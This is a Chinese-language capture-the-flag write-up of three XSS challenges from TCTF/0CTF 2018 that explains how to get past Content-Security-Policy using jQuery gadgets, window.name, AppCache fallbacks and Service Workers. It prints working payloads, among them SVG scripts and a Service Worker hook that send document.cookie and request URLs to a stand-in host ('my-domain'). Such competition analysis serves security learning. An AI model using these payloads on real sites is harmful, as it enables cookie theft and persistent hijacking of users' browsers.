最新消息:图 床

TCTF/0CTF2018 XSS Writeup

COOL IAM 1693浏览 0评论

作者:LoRexxar’@知道創宇404實驗室

剛剛4月過去的TCTF/0CTF2018一如既往的給了我們驚喜,其中最大的驚喜莫過於多道xss中Bypass CSP的題目,其中有很多應用於現代網站的防禦思路。

其中bl0g提及了通過變量覆蓋來調用已有代碼動態插入Script標籤繞過strict-dynamicCSP的利用方式。

h4xors.club2則是通過Script Gadgets和postmessage中間人來實現利用。

h4x0rs.space提及了Appcache以及Service worker配合jsonp接口實現的利用思路。

其中的很多利用思路非常精巧,值得研究。所以我花費了大量時間復現其中題目的思路以及環境,希望能給讀者帶來更多東西…

bl0g

題目分析

An extremely secure blog

Just focus on the static files. plz do not use any scanner, or your IP will be blocked.

很有趣的題目,整個題的難點在於利用上

站內的功能都是比較常見的xss功能

  1. new 新生成文章
  2. article/xx 查看文章/評論
  3. submit 提交url (start with http://202.120.7.197:8090/)
  4. flag admin可以查看到正確的flag

還有一些隱藏的條件

1、CSP

Content-Security-Policy:
script-src 'self' 'unsafe-inline'

Content-Security-Policy:
default-src 'none'; script-src 'nonce-hAovzHMfA+dpxVdTXRzpZq72Fjs=' 'strict-dynamic'; style-src 'self'; img-src 'self' data:; media-src 'self'; font-src 'self' data:; connect-src 'self'; base-uri 'none'

挺有趣的寫法,經過我的測試,兩個CSP分開寫,是同時生效並且單獨生效的,也就是與的關係。

換個說法就是,假設我們通過動態生成script標籤的方式,成功繞過了第二個CSP,但我們引入了<script src="hacker.website">,就會被第一條CSP攔截,很有趣的技巧。

從CSP我們也可以簡單窺得一些利用思路,base-uri 'none'代表我們沒辦法通過修改根域來實現攻擊,default-src 'none'這其中包含了frame-src,這代表攻擊方式一定在站內實現,script-src的雙限制代表我們只能通過<script>{eval_code}的方式來實現攻擊,讓我們接着往下看。

2、new中有一個字段是effect,是設置特效的

POST /new HTTP/1.1
Host: 202.120.7.197:8090
Connection: keep-alive
Content-Length: 35
Cache-Control: max-age=0
Origin: http://202.120.7.197:8090
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://202.120.7.197:8090/new
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: BL0G_SID=vV1p59LGb01C4ys4SIFNve4d_upQrCpyykkXWmj4g-i8u2QQzngP5LIW28L0oB1_NB3cJn0TCwjdE32iBt6h

title=a&content=a&effect=nest

effect字段會插入到頁面中的<input type="hidden" id="effect" value="{effect_value}">,但這裡實際上是沒有任何過濾的,也就是說我們可以通過閉合這個標籤並插入我們想要的標籤,需要注意的是,這個點只能插入70個字符

3、login?next=這個點可以存在一個任意跳轉,通過這個點,我們可以繞過submit的限制(submit的maxlength是前台限制,可以隨便跳轉

4、站內的特效是通過jqery的append引入的,在article.js這個文件中。

$(document).ready(function(){
    $("body").append((effects[$("#effect").val()]));
});

effects在config.js中被定義。

回顧上面的幾個條件,我們可以簡單的整理思路。

在不考慮0day的情況下,我們唯有通過想辦法通過動態生成script標籤,通過sd CSP這個點來繞過

首先我們觀察xss點周圍的html結構

id"><form name=effects id="<script>$.get('/flag',e=>name=e)"><script>

通過jquery get獲取flag內容,通過箭頭函數將返回賦值給window.name,緊接着,我們需要想辦法獲取這裡的window.name。

這裡用到一個特殊的跨域操作

http://www.cnblogs.com/zichi/p/4620656.html

這裡用到了一個特殊的特性,就是window.name不跟隨域變化而變化,通過window.name我們可以緩存原本的數據。

利用思路

完整payload

<html>
</html>

<script>
var i=document.createElement("iframe");
i.src="http://202.120.7.197:8090/article/3503";
i.id="a";
var state = 0;
document.body.appendChild(i);

i.onload = function (){
    if(state === 1) {
        var c = i.contentWindow.name;
            location.href="http://xx?c="+c;

    } else if(state === 0) {
        state = 1;
        i.contentWindow.location = './index.html';
    }
}

</script>

然後通過login?next=這裡來跳轉到這裡,成功理順

最後分享一個本環境受限的腦洞想法(我覺得蠻有意思的

這個思路受限於當前頁面CSP沒有unsafe-eval,剛才說到window.name不隨域變化而變化,那麼我們傳入payload

id"><form name=effects id="<script>eval(name)"><script>

然後在自己的服務器上設置

<script>
window.name="alert(1)";
location.href="{article_url}";
</script>

這樣我們就能設置window.name了,如果允許eval的話,就可以通過這種方式繞過長度限制。

h4xors.club2

一個非常有意思的題目,做這題的時候有一點兒鑽牛角尖了,後面想來有挺多有意思的點。先分享一個非常秀的非預期解wp。

http://www.wupco.cn/?p=4408&from=timeline

在分享一個寫的比較詳細的正解

https://gist.github.com/paul-axe/869919d4f2ea84dea4bf57e48dda82ed

下面順着思路一起來看看這題。

題目分析

Get document .cookie of the administartor.
h4x0rs.club
backend_www got backup at /var/www/html.tar.gz   這個從頭到尾都沒找到

Hint: Get open-redirect first, lead admin to the w0rld!

站內差不多是一個答題站點,用了比較多的第三方庫,站內的功能比較有限。

  1. profile.php可以修改自己個人信息
  2. user.php/{id}可以訪問自己的個人信息
  3. report.php沒什麼可說的,向後台發送請求,需要注意的是,直接發送user.php,不能控制
  4. index.php接受msg參數

還有一些特別的點

1、user.php頁面的CSP為

Content-Security-Policy:default-src 'none'; img-src * data: ; script-src 'nonce-c8ebe81fcdccc3ac7833372f4a91fb90'; style-src 'self' 'unsafe-inline' fonts.googleapis.com; font-src 'self' fonts.gstatic.com; frame-src https://www.google.com/recaptcha/;

非常嚴格,只允許nonce CSP的script解析

index.php頁面的CSP為

Content-Security-Policy:script-src 'nonce-120bad5af0beb6b93aab418bead3d9ab' 'strict-dynamic';

允許sd CSP動態執行script(這裡的出發點可能是index.php是加載遊戲的地方,為了適應CSP,必須加入strict-dynamic。)

2、站內有兩個xss點

第一個是user.php的profile,儲存型xss,沒有任何過濾。

第二個是index.php的msg參數,反射性xss,沒有任何過濾,但是受限於xss auditor

順着思路向下

因為user.php頁面的CSP非常嚴格,我們需要跳出這個嚴格的地方,於是可以通過插入meta標籤,跳轉到index.php,在這裡進一步操作

<meta http-equiv="refresh" content="5;https://h4x0rs.club/game/?msg=Welcome">

當然這裡我們也可以利用儲存型xss和頁面內的一段js來構造a標籤跳轉。

在user.php的查看profile頁面,我們可以看到

if(location.hash.slice(1) == 'report'){
    document.getElementById('report-btn').click();
}

當我們插入

<a href='//xxx.xx/evil.html' id=report-btn>

並請求

/game/user.php/ddog%23report

那麼這裡的a標籤就會被點擊,同樣可以實現跳轉。

接着我們探究index.php,這裡我們的目標就是怎麼能夠繞過sd CSP了,當時的第一個想法是<base>,通過修改當前頁面的根域,我們可以加載其他域的js(聽起來很棒!

可惜如果我們請求

https://h4x0rs.club/game/?msg=<base href="http://xxxx">

會被xss auditor攔截,最後面沒辦法加/">,一個非常有趣的情況出現了

https://h4x0rs.club/game/?msg=%3Cbase%20href=%22http://115.28.78.16

這裡的漏洞點和ppt中的思路不完全一致,但核心思路一樣,都是要利用已有js代碼中的一些點來構造利用。

站內關於遊戲的代碼在app.js中的最下面,加載了client.js

function load_clientjs(){
    var s = document.createElement('script');
    document.body.appendChild(s);
    s.defer = true;
    s.src = '/game/javascripts/client.js';
}

client.js中的代碼不多,有一些值得注意的點,就是客戶端是通過postMessage和服務端交互的。

題目分析

I've made a blog platform let you write your secret. 
Nobody can know it since I enabled all of modern web security mechanism, is it cool, huh?

Get document. cookie of the admin.

h4x0rs.space

Hint: Every bug you found has a reason, and you may want to check some uncommon HTML5 features Also notice that, the admin is using real browser, since I found out Headless is not much real-world. GL

Hint 2: W3C defines everything, but sometimes browser developers decided to implement in their way, get the same browser to admin and test everything on it.

Hint 3: Can you make "500 Internal Server Error" from a post /blog.php/{id} ? Make it fall, the good will come. And btw, you can solve without any automatic tool. Connect all the dots.

Last Hint: CACHE

先簡單說一下整個題目邏輯

1、站內是一個生成文章的網站,可以輸入title,content,然後可以上傳圖片,值得注意的是,這裡的所有輸入都會被轉義,生成的文章內容不存在xss點。

2、站內開啟CSP,而且是比較嚴格的nonce CSP

Content-Security-Policy:
default-src none; frame-src https://h4x0rs.space/blog/untrusted_files/embed/embed.php https://www.google.com/recaptcha/; script-src 'nonce-05c13d07976dba84c4f29f4fd4921830'; style-src 'self' 'unsafe-inline' fonts.googleapis.com; font-src fonts.gstatic.com; img-src *; connect-src https://h4x0rs.space/blog/report.php;

3、文章內引入了類似短標籤的方式可以插入部分標籤,例如[img]test[/img]

值得注意的是這裡有一個特例

case 'instagram':
    var dummy = document.createElement('div');
    dummy.innerHTML = `<iframe width="0" height="0" src="" frameborder="0" allow="autoplay; encrypted-media" allowfullscreen></iframe>`; // dummy object since f.frameborder=0 doesn't work.
    var f = dummy.firstElementChild;
    var base = 'https://h4x0rs.space/blog/untrusted_files/embed/embed.php';
    if(e['name'] == 'youtube'){
        f.width = 500;
        f.height = 330;
        f.src = base+'?embed='+found[1]+'&p=youtube';
    } else if(e['name'] == 'instagram') {
        f.width = 350;
        f.height = 420;
        f.src = base+'?embed='+found[1]+'&p=instagram';
    }
    var d_iframe = document.createElement('div');
    d_iframe.id = 'embed'+iframes_delayed.length; // loading iframe at same time may cause overload. delay it.
    iframes_delayed.push( document.createElement('div').appendChild(f).parentElement.innerHTML /* hotfix: to get iframe html  */ );
    o.innerHTML = o.innerHTML.replace( found[0], d_iframe.outerHTML );
    break;

如果插入[ig]123[/ig]就會被轉為引入https://h4x0rs.space/blog/untrusted_files/embed/embed.php?embed=123&p=instagram的iframe。

值得注意的是,embed.php中的embed這裡存在反射性xss點,只要閉合註釋就可以插入標籤,遺憾的是這裡仍然會被CSP限制。

https://h4x0rs.space/blog/untrusted_files/embed/embed.php?embed=--><script>alert()</script>&p=instagram

4、站內有一個jsonp的接口,但不能傳尖括號,後面的文章內容什麼的也沒辦法逃逸雙引號。

https://h4x0rs.space/blog/pad.php?callback=render&id=c3c08256fa7df63ec4e9a81efa9c3db95e51147dd14733abc4145011cdf2bf9d

5、圖片上傳的接口可以上傳SVG,圖片在站內同源,並且不受到CSP的限制,我們可以在SVG中執行js代碼,來繞過CSP,而重點就是,我們只能提交blog id,我們需要找到一個辦法來讓它執行。

AppCache 的利用

在提示中,我們很明顯可以看到cache這個提示,這裡的提示其實是說,利用appcache來加載svg的方式。

在這之前,我們可能需要了解一下什麼是Appcache。具體可以看這篇文章。

https://www.html5rocks.com/en/tutorials/appcache/beginner/

這是一種在數年前隨H5誕生的一種可以讓開發人員指定瀏覽器緩存哪些文件以供離線訪問,在緩存情況下,即使用戶在離線狀態刷新頁面也同樣不會影響訪問。

Appcache的開啟方法是在html標籤下添加manifest屬性

<html manifest="example.appcache">
  ...
</html>

這裡的example.appcache可以是相對路徑也可以是絕對路徑,清單文件的結構大致如下:

CACHE MANIFEST
# 2010-06-18:v2

# Explicitly cached 'master entries'.
CACHE:
/favicon.ico
index.html
stylesheet.css
images/logo.png
scripts/main.js

# Resources that require the user to be online.
NETWORK:
login.php
/myapi
http://api.twitter.com

# static.html will be served if main.py is inaccessible
# offline.jpg will be served in place of all images in images/large/
# offline.html will be served in place of all other .html files
FALLBACK:
/main.py /static.html
images/large/ images/offline.jpg
*.html /offline.html

CACHE:
這是條目的默認部分。系統會在首次下載此標頭下列出的文件(或緊跟在 CACHE MANIFEST 后的文件)后顯式緩存這些文件。

NETWORK:
此部分下列出的文件是需要連接到服務器的白名單資源。無論用戶是否處於離線狀態,對這些資源的所有請求都會繞過緩存。可使用通配符。

FALLBACK:
此部分是可選的,用於指定無法訪問資源時的後備網頁。其中第一個 URI 代表資源,第二個代表後備網頁。兩個 URI 必須相關,並且必須與清單文件同源。可使用通配符。

這裡有一點兒很重要,關於Appcache,您必須修改清單文件本身才能讓瀏覽器刷新緩存文件

去年@filedescriptor公開了一個利用Appache來攻擊沙箱域的方法。

https://speakerdeck.com/filedescriptor/exploiting-the-unexploitable-with-lesser-known-browser-tricks?slide=16

這裡正是使用了Appcache的FALLBACK文件,我們可以通過上傳惡意的svg文件,形似

<svg xmlns="http://www.w3.org/2000/svg">
<script>fetch(`https://my-domain/?${document.cookie}`)</script>
</svg>

然後將manifest設置為相對目錄的svg文件路徑,形似

 <!-- DEBUG 
embed_id: --><html manifest=/blog/untrusted_files/[SVG_MANIFEST].svg>
-->
...

在這種情況下,如果我們能觸發頁面500,那麼頁面就會跳轉至FALLBACK指定頁面,我們成功引入了一個任意文件跳轉。

緊接着,我們需要通過引入[ig]a#[/ig],通過拼接url的方式,這裡的#會使後面的&instagram無效,使頁面返回500錯誤,緩存就會將其引向FALLBACK設置頁面。

這裡的payload形似

[yt]--%3E%3Chtml%20manifest=%2Fblog%2Funtrusted_files%2F[SVG_MANIFEST].svg%3E[/yt]

[yt]a#[/yt]
[yt]a#[/yt]
[yt]a#[/yt]
[yt]a#[/yt]
[yt]a#[/yt]
[yt]a#[/yt]
[yt]a#[/yt]
[yt]a#[/yt]
[yt]a#[/yt]
[yt]a#[/yt]

這裡之所以會引入多個a#是因為緩存中FALLBACK的加載時間可能慢於單個iframe的加載時間,所以需要引入多個,保證FALLBACK的生效。

最後發送文章id到後台,瀏覽器訪問文章則會觸發下面的流程。

上面的文章會轉化為

<iframe width="0" height="0" src="https://h4x0rs.space/blog/untrusted_files/embed/embed.php?embed=--%3E%3Chtml%20manifest=%2Fblog%2Funtrusted_files%2F[SVG_MANIFEST].svg%3E&p=youtube" frameborder="0" allow="autoplay; encrypted-media" allowfullscreen></iframe>


<iframe width="0" height="0" src="https://h4x0rs.space/blog/untrusted_files/embed/embed.php?embed=a#&p=youtube" frameborder="0" allow="autoplay; encrypted-media" allowfullscreen></iframe>

...

上面的iframe標籤會引入我們提前上傳好的manfiest文件

CACHE MANIFEST

FALLBACK:
/blog/untrusted_files/embed/embed.php?embed=a /blog/untrusted_files/[SVG_HAVING_XSS_PAYLOAD].svg

並將FALLBACK設置為/blog/untrusted_files/[SVG_HAVING_XSS_PAYLOAD].svg

然後下面的iframe標籤會訪問/blog/untrusted_files/embed/embed.php?embed=a並處罰500錯誤,跳轉為提前設置好的svg頁面,成功逃逸CSP。

當我們第一次讀取到document.cookie時,返回為

OK! You got me... This is your reward: "flag{m0ar_featureS_" Wait, I wonder if you could hack my server. Okay, shall we play a game? I am going to check my secret blog post where you can find the rest of flag in next 5 seconds. If you know where I hide it, you win! Good luck. For briefly, I will open a new tab in my browser then go to my https://h4x0rs.space/blog.php/*secret_id* . You have to find where is it. 1...2...3...4..5... (Contact me @l4wio on IRC if you have a question)

大致意思是說,bot會在5秒后訪問flag頁面,我們需要獲取這個id。

Service Worker的利用

仔細回顧站內的功能,根據出題人的意思,這裡會跳轉到形似https://h4x0rs.space/blog/[blog_post_id]的url,通過Appcache我們只能控制/blog/untrusted_files/這個目錄下的緩存,這裡我們需要控制到另一個選項卡的狀態。

在不具有窗口引用辦法的情況下,這裡只有使用Service Worker來做持久化利用。

關於Service Worker忽然發現以前很多人提到過,但好像一直都沒有被重視過。這種一種用來替代Appcache的離線緩存機制,他是基於Web Worker的事件驅動的,他的執行機制都是通過新啟動線程解決,比起Appcache來說,它可以針對同域下的整站生效,而且持續保存至瀏覽器重啟都可以重用。

下面是兩篇關於service worker的文檔:

https://developers.google.com/web/fundamentals/primers/service-workers/?hl=zh-cn

https://www.w3.org/TR/service-workers/

使用Service Worker有兩個條件:

1、Service Worker只生效於https://或者http://localhost/
2、其次你需要瀏覽器支持,現在並不是所有的瀏覽器都支持Service Worker。

當我們滿足上述條件,並且有一個xss利用點時,我們可以嘗試構造一個持久化xss利用點,但在利用之前,我們需要更多條件。

1、如果我們使用navigator.serviceWorker.register來註冊js,那麼這裡請求的url必須同源而且請求文件返回頭必須為text/javascript, application/x-javascript, application/javascript中的一種。

2、假設站內使用onfetch接口獲取內容,我們可以通過hookfetch接口,控制返回來觸發持久化控制。

對於第一種情況來說,或許我們很難找到上傳js的接口,但不幸的是,jsonp接口剛好符合這樣的所有條件~~

具體的利用方式我會額外在寫文分析這個,詳情可以看這幾篇文章:

http://drops.xmd5.com/static/drops/web-10798.html

https://paper.seebug.org/177/

https://speakerdeck.com/masatokinugawa/pwa-study-sw

最後的這個ppt最詳細,但他是日語的,讀起來非常吃力。

這裡回到題目,我們可以注意到站內剛好有一個jsonp接口

https://h4x0rs.space/blog/pad.php?callback=render&id=c3c08256fa7df63ec4e9a81efa9c3db95e51147dd14733abc4145011cdf2bf9d

值得注意的是,這裡的callback接口有字數限制,這裡可以通過和title的配合,通過註釋來引入任何我們想要的字符串。

/*({"data":"QQ==","id":"[BLOG_POST_ID_SW]","title":"*/onfetch=e=>{fetch(`https://my-domain/?${e.request.url}`)}//","time":"2018-04-03 12:32:00","image_type":""});

這裡需要注意的是,在serviceWorker線程中,我們並不能獲取所有的對象,所以這裡直接獲取當前請求的url。

完整的利用鏈如下:

1、將*/onfetch=e=>{fetch(https://my-domain/?${e.request.url})}//寫入文章內,並保留下文章id。

2、構造jsonp接口https://h4x0rs.space/blog/pad.php?callback=/*&id={sw_post_id}

/*({"data":"QQ==","id":"[BLOG_POST_ID_SW]","title":"*/onfetch=e=>{fetch(`https://my-domain/?${e.request.url}`)}//","time":"2018-04-03 12:32:00","image_type":""});

3、上傳svg,https://h4x0rs.space/blog/untrusted_files/[SVG_HAVING_SW].svg

<svg xmlns="http://www.w3.org/2000/svg">
<script>navigator.serviceWorker.register('/blog/pad.php?callback=/*&amp;id={sw_post_id}')</script>
</svg>

4、構造manifest文件,https://h4x0rs.space/blog/untrusted_files/[SVG_MANIFEST_SW].svg

CACHE MANIFEST

FALLBACK:
/blog/untrusted_files/embed/embed.php?embed=a /blog/untrusted_files/[SVG_HAVING_SW].svg

5、構造embed頁面url

https://h4x0rs.space/blog/untrusted_files/embed/embed.php?embed=--%3E%3Chtml%20manifest=/blog/untrusted_files/[SVG_MANIFEST_SW].svg%3E&p=youtube

6、最後構造利用文章內容

[yt]--%3E%3Chtml%20manifest=%2Fblog%2Funtrusted_files%2F[SVG_MANIFEST_SW].svg%3E[/yt]

[yt]a#[/yt]
[yt]a#[/yt]
[yt]a#[/yt]
[yt]a#[/yt]
[yt]a#[/yt]
[yt]a#[/yt]
[yt]a#[/yt]
[yt]a#[/yt]
[yt]a#[/yt]
[yt]a#[/yt]

7、發送post id即可

REF


转载请注明:IAMCOOL » TCTF/0CTF2018 XSS Writeup

0 0 vote
Article Rating
Subscribe
Notify of
0 Comments
Inline Feedbacks
View all comments
0
Would love your thoughts, please comment.x
()
x